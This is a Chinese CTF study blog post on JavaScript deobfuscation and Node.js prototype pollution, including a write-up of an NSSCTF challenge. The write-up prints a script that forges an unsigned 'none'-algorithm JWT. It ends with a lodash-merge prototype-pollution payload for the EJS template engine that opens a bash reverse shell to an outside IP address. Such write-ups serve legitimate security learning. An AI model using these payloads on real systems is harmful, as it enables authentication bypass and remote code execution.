JS混淆加密&JS原型链污染笔记

前言

web2

JS混淆加密+CTF例题题解

一个小游戏需要玩到114514分才能得到flag

图片[1],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

要玩到114514分要好久好久,所以肯定要想其他解法,

这题有多种解法,修改游戏逻辑(难)解密js混淆加密(中) 解密md5(易)

这里要介绍js混淆 也就采用第二种方法(实际上比赛的时候也是用第二种方法解的)

图片[2],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

查看源代码,查看游戏逻辑js

图片[3],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

仔细查看一下

图片[4],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码

上述即是js混淆加密的明显特征 对function函数体内容进行了混淆加密

只是解密网站要找好久,网上真正可以解密js混淆的网站很少

https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站

js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了 希望能收藏一下

拿到解密网站,对game.js进行解密

搜索逻辑赢得的游戏逻辑114514

图片[5],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

可以看到给了一个ascii码的数组

只需ascii码转为字符即可拿到flag

num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
图片[6],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

node.JS原型链污染

Web中的高端局

前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同

proto&prototype

图片[7],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

他们的关系如下

图片[8],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

实操便于更好理解

先定义o1={a:1,b:2} 定义o2={c:3,d:4}

我们两个都走上一级皆是object的对象 期中object为null 因为我们没有new 出一个对象

再网上走 两者o1,o2都是null

图片[9],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

接下来我们令o1下的name=“hello world”

并且输出o1.name

图片[10],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时o2的name没有定义 如果输出o2.name理论上是null

但实际上却是与o1共享name

图片[11],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时就能大概猜测出原型链污染的原理了 二者共享object父级 通过污染父级以达到污染子类的目的

此时我们进一步扩大危害 在此基础上定义o1对象下的一个函数func

o1.proto.func=function(){return this.a+1}

图片[12],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

并且调用一下o1的函数

图片[13],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时我们对于o2调用函数

图片[14],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

实际上o1和o2共享object的原型父级 object本身也是一个对象

期中对象.proto=构造器(构造函数).prototype

图片[15],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时我们引入constructor

constructor用于指向构造函数

图片[16],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[17],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[18],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

JS中原型链重要作用

再次提到前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同

此时我们按照正常思维去创造一个对象(在在对象中定义一个函数)

图片[19],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

输出结果

图片[20],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法

也就说this.show是绑定在Goo对象当中

但是在python 或者C/C++中定义的函数都是在类当中 每次生成一个对象都重新生成一次show()方法

这样极其耗费内存 我们只想生成一次this.show

此时我们就可以运用prototype来使用了

我们把show对象调用在Goo之外

图片[21],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

这样我们每次调用show方法的时候 只需要调用之前用prototype生成的方法总共一次

直接省去了加载的过程

图片[22],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

原型链继承举例介绍

以继承链为污染讲解

例题:

图片[23],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

我们定义了两个对象 一个Father 还有一个Son

我们使用rce new出一个新对象

并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null

此时我们查看结果

图片[24],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

子类继承了父类的Fater并且输出了Src

总结:

图片[25],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

JavaScript中原型链污染的例题介绍

正如最开始的原型链介绍的修改是在node.js里的原型链污染

下面在JavaScript进行演示原型链污染

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
      zoo={a:618}
      console.log(zoo.a)
      zoo.__proto__.a=888
      console.log(zoo.a) //此时并没有修改a本身的值
      let b={}//定义一个空对象
      console.log(b.a)//尝试输出空对象下的zoo中的a
    </script>
</body>
</html>
图片[26],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

何时可以利用js原型链污染

当可以控制js中数组的键名的时候就可以污染原型链

下面将以CTF题介绍

高端局JS原型链污染CTF题

发觉Vemonctf原型链比较简单哒 所以就来个nssctf中的原型链的题

这题还是有点难搞

靶机地址:

图片[27],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

图片[28],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

查看源代码

图片[29],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

访问/source

图片[30],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

泄露源代码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

留下代码,先进行注册

图片[31],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

得到了token进行尝试登录

图片[32],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

尝试更改UID

图片[33],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

好了也就只能到这一步了

下面进行代码审计

已经不是第一次感觉打CTF的啥都要学了

长话短说 哎不想敲了

图片[34],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

jwt可以通过加密算法以及token的值可以判断出来 也在之前的比赛遇见过

进行解密

图片[35],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

再次进行代码审计

图片[36],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

可以看出如果用户不等于nss就弹出U cant change uid

所以我们需要伪造一下nss的token

继续代码审计检查一下加密算法

图片[37],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

verify()指定算法的正确方式应该是通过algorithms传入数组 而这里少了个s

跟ctfshow的php反序列化里面的题好像 都是写错了 这种在实战上属于是万里挑一才能审计出来 太难了

在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。

在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了

jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏

里面包含poc

图片[38],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

审计代码

图片[39],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[40],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

sid为空数组也就是JWT中的secretid为空数组[]就可以伪造

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
图片[41],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

图片[42],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

继续代码审计

图片[43],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

merge以及clone都是js原型链污染的非常常见的切入点

此时的路由指向/update 使用的方法是post 接受data

ejs模板引擎污染拿flag即可

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true
    }
}
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞11 分享
评论 共3条
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片
    • 头像Katelyn Harvey0
    • 头像Cornelius Mosciski0
    • 头像Malachi Miller0